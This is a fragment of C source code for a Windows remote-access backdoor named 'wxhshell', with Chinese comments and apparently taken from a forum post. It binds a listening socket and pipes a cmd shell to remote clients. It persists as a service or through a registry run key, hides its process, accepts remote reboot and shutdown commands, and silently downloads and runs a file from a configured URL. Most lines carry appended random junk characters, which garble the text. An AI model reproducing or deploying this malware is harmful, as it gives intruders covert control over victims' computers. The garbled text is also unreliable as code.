YZOwr72VL  
    switch(cmd[0]) { ^)Y3V-@t  
  O,^s)>c  
  // 帮助 n{<@-6  
  case '?': { "#0P*3-c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0^J%&1aIc  
    break; n2AoEbd  
  } _a"| :kX  
  // 安装 HES$. a  
  case 'i': { 3K~^H1l  
    if(Install()) n;xzjq-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !E00I0W-h  
    else Citumc)E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `aX+Gz?  
    break; jM6$R1HX  
    } !U(S?:hvW  
  // 卸载 buzpmRoN)  
  case 'r': { LR#.xFQ+  
    if(Uninstall()) B$JPE7h@[P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-?/kY6  
    else q2*)e/}H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mGP%"R2X  
    break; Jr2>D=  
    } ~v/` `s  
  // 显示 wxhshell 所在路径 qa~ju\jm.  
  case 'p': { k"BM1-f  
    char svExeFile[MAX_PATH]; Edh9=sxL  
    strcpy(svExeFile,"\n\r"); V5h_uGOD  
      strcat(svExeFile,ExeFile); c??m9=OX1  
        send(wsh,svExeFile,strlen(svExeFile),0); 30Q77,Nsny  
    break; O7Jp ;  
    } ^Vh^Z)gGi  
  // 重启 w\Q(wH'  
  case 'b': { ~^Ga?Q_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8?EKF+.u|  
    if(Boot(REBOOT)) Op 9+5]XF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.@:t`w  
    else { Bgsi$2hI  
    closesocket(wsh); id`9,IJx  
    ExitThread(0); 8BS Nm  
    } O6-';H:I]L  
    break; DBvozTsF~  
    } OaN"6Ge#  
  // 关机 4_CXs.v1  
  case 'd': { B=_5gZ4Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i}<fg*6@E  
    if(Boot(SHUTDOWN)) \!>qtFT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~< bc  
    else { 2ss*&BR.  
    closesocket(wsh); 65+2+p  
    ExitThread(0); rF?QI*`Y(  
    } mv*M2NuhT  
    break; 0Y~5|OXJ  
    } OCqknA  
  // 获取shell .k!2{A  
  case 's': { li')U  
    CmdShell(wsh); Y{4nBu  
    closesocket(wsh); JkLpoe81  
    ExitThread(0); KlwB oC/{K  
    break; U?:?NC=1{  
  } 1[RI 07g7*  
  // 退出 jR3mV  
  case 'x': { #xq|/JWs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RM25]hx  
    CloseIt(wsh); Q?Xqf7y  
    break; 6k|f]BCL  
    } \/m-G:|  
  // 离开 T+5H2]yy)  
  case 'q': { lj *=bK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AY9#{c>X  
    closesocket(wsh); @_#]7  
    WSACleanup(); niPqzi  
    exit(1); 5S7ATr(*  
    break; ,nniSG((3  
        } *>lXCx  
  } yW}x  
  } Qz<i{r-z  
$cO-+Mr-~  
  // 提示信息 wFL7JwK:G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ee$F]NA  
} EuD$^#  
  } 2<_|1%C  
5lE9UoG[Q  
  return; qi1#s,  
} "(;t`,F  
cMAY8$  
// shell模块句柄 )EsFy6K:  
int CmdShell(SOCKET sock) X/S%0AwZ  
{ `6*1mE1K&  
STARTUPINFO si; sFRQFX0XoY  
ZeroMemory(&si,sizeof(si)); @l~MY *hp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6?l|MU"Q.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B}d)e_uLj  
PROCESS_INFORMATION ProcessInfo; Vf$q3X  
char cmdline[]="cmd"; zj;Ktgc E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |OBZSk1jp  
  return 0; 0&6(y* #Z  
} ;.d{$SO  
KyzdJ^xC"  
// 自身启动模式 v-}D>)M^W  
int StartFromService(void) {MmK:C  
{ -lI6!a^  
typedef struct ek0,@Vg9  
{ D^H4]7wG@  
  DWORD ExitStatus; t[bZg9;  
  DWORD PebBaseAddress; #Gu(h(Z s  
  DWORD AffinityMask; [F^j(qTR  
  DWORD BasePriority; [mG:PTK3  
  ULONG UniqueProcessId; 'n "n;  
  ULONG InheritedFromUniqueProcessId; m/1;os5+8  
}   PROCESS_BASIC_INFORMATION; !u%XvxJwDb  
M_#^zo "x  
PROCNTQSIP NtQueryInformationProcess; 20BU;D3  
qyY]: (8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sKL"JA T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h1QrFPQnu  
Ccy0!re  
  HANDLE             hProcess; kwpbgQ  
  PROCESS_BASIC_INFORMATION pbi; MVe4[<  
jRSY`MU}t+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |&0Cuwt  
  if(NULL == hInst ) return 0; )gKX +'  
w?A6S-z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hu7WU;w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sFonc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :3By7BZgj  
sKGR28e  
  if (!NtQueryInformationProcess) return 0; e4Jx%v?_P  
#TG.weTC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Te&5IB-  
  if(!hProcess) return 0; kk7M$)>d  
5,K*IH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (&-!l2  
+>o} R?xj  
  CloseHandle(hProcess); "A3V(~%!  
|C.[eHe&D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nmu=p~f}3`  
if(hProcess==NULL) return 0; \kVi&X=q:  
./E<v  
HMODULE hMod; {&s.*5  
char procName[255]; f!+G1z}iA  
unsigned long cbNeeded; dp#'~[j  
$Rv (v%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #)EVi7UP  
dpI! {'"M  
  CloseHandle(hProcess); b0lZb'  
Bq#B+JwX  
if(strstr(procName,"services")) return 1; // 以服务启动 X,i^OM_  
lc\f6J>HT  
  return 0; // 注册表启动 Sv|jR r'  
} "gGv>]3  
" )/febBS  
// 主模块 137:T:  
int StartWxhshell(LPSTR lpCmdLine) D;WQNlTU  
{ B>,&{ah/5J  
  SOCKET wsl; |GnqfD  
BOOL val=TRUE; %L eZd}v  
  int port=0; ok<!/"RX$  
  struct sockaddr_in door; cr<ty"3\  
\XT~5N6  
  if(wscfg.ws_autoins) Install(); C9%2}E3Z$)  
#a=~a=c(^  
port=atoi(lpCmdLine); ZT%Q:]B+  
!w=6>B^  
if(port<=0) port=wscfg.ws_port; g|PRk9  
Iji9N!Yx  
  WSADATA data; x4nmDEpa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &WAJ;7f  
,T\)%q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a>XlkkX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :~{x'`czJ  
  door.sin_family = AF_INET; -iJ @K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OXCf  
  door.sin_port = htons(port); %+e% RZ3  
B gB]M3Il  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BARs1^pR4  
closesocket(wsl); [Uw/;Kyh  
return 1; =%+o4\N,  
} #> @~3kGg  
I-?Dil3  
  if(listen(wsl,2) == INVALID_SOCKET) { Vv3{jn6%  
closesocket(wsl); ?RVY%s;g  
return 1; $MB /j6#j  
} `oUuAL  
  Wxhshell(wsl); /!L#cUog  
  WSACleanup(); P]b * hC  
A,'JmF$d  
return 0; @ATJ|5.gr  
^jxV  
} ~Dz`O"X3  
gV-x1s+  
// 以NT服务方式启动 v?en-,{A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H^N 5yOj/  
{ S LSbEm  
DWORD   status = 0; [h^>Iq (Z  
  DWORD   specificError = 0xfffffff; {D9m>B3"{  
BQTibd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3Sb'){.MT+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~xSAR;8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vL,:Yn@b  
  serviceStatus.dwWin32ExitCode     = 0; #uzp  
  serviceStatus.dwServiceSpecificExitCode = 0; 6pCQP c*A  
  serviceStatus.dwCheckPoint       = 0; ^UEExj f  
  serviceStatus.dwWaitHint       = 0; `f~\d.*U  
d@?++z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZWH9E.uj  
  if (hServiceStatusHandle==0) return; L~PBD?l  
X5hamkM*m  
status = GetLastError(); >A RZ=x[  
  if (status!=NO_ERROR) x  #Um`  
{ 4%s6 d,6"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &eqeQD6  
    serviceStatus.dwCheckPoint       = 0; AJ0 ;wx  
    serviceStatus.dwWaitHint       = 0; $k|:V&6SV  
    serviceStatus.dwWin32ExitCode     = status; N#Y|MfLc  
    serviceStatus.dwServiceSpecificExitCode = specificError; nbECEQ:|B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m@Vz42g~+  
    return; Zr%,F[j?  
  } \[57Dmo  
ip`oL_c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y| 7sh  
  serviceStatus.dwCheckPoint       = 0; ,3As Ng  
  serviceStatus.dwWaitHint       = 0; Fzc8)*w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eq!>~: #  
} R iPxz=kr  
pmIOV~K  
// 处理NT服务事件,比如:启动、停止 7^2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fy6<KEea  
{ s6k@WT?"^  
switch(fdwControl) @  gv^  
{ 6` 8H k;  
case SERVICE_CONTROL_STOP: ;Eer  
  serviceStatus.dwWin32ExitCode = 0; LrGLIt`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %lbDcEsf9  
  serviceStatus.dwCheckPoint   = 0; 5vmc'Om  
  serviceStatus.dwWaitHint     = 0; L*QX21@wC  
  { ~v$1@DQ}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .S{FEV  
  } J_|LG rt})  
  return; XsXO S8  
case SERVICE_CONTROL_PAUSE: _&wrA3@/L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R[ #vFQ  
  break; UD!-.I]  
case SERVICE_CONTROL_CONTINUE: +QZ}c@'r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4m:D8&D_M  
  break; ~O c:b>~  
case SERVICE_CONTROL_INTERROGATE: =<;C5kSD  
  break; w wuM!Z+  
}; JH|]B|3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AbExJ~JV\g  
} \x7^ly$_  
B@ xjwBUk  
// 标准应用程序主函数 ;}dvc7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =] +owl2  
{ QhJuH_f 0  
 Nt w?~%  
// 获取操作系统版本 2bnYYQ14:  
OsIsNt=GetOsVer(); Dx5X6t9=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gJZH??b  
]i:_^z)R  
  // 从命令行安装 E~y( @72)  
  if(strpbrk(lpCmdLine,"iI")) Install(); {44#<A<  
+Zg@X.z  
  // 下载执行文件 q21l{R{Y  
if(wscfg.ws_downexe) { *yZ `aKfH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) II'"Nkxd  
  WinExec(wscfg.ws_filenam,SW_HIDE); (UB?UJc  
} KSAE!+  
X=KC +1e  
if(!OsIsNt) { &~a S24c  
// 如果时win9x,隐藏进程并且设置为注册表启动 KjNA PfL  
HideProc(); .nzN5FB U  
StartWxhshell(lpCmdLine); q"e]\Tb=we  
} SaIY-PC  
else 9Wv}g"KY0  
  if(StartFromService()) T'> MXFLh  
  // 以服务方式启动 bs&>QsI?j  
  StartServiceCtrlDispatcher(DispatchTable); fgoLN\  
else +^DDWVp  
  // 普通方式启动 p/U{*i ]t  
  StartWxhshell(lpCmdLine); }0Ie Kpu5  
\2^o,1r/  
return 0; ri%j*Kn  
}
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只看该作者 1 发表于: 2006-10-10
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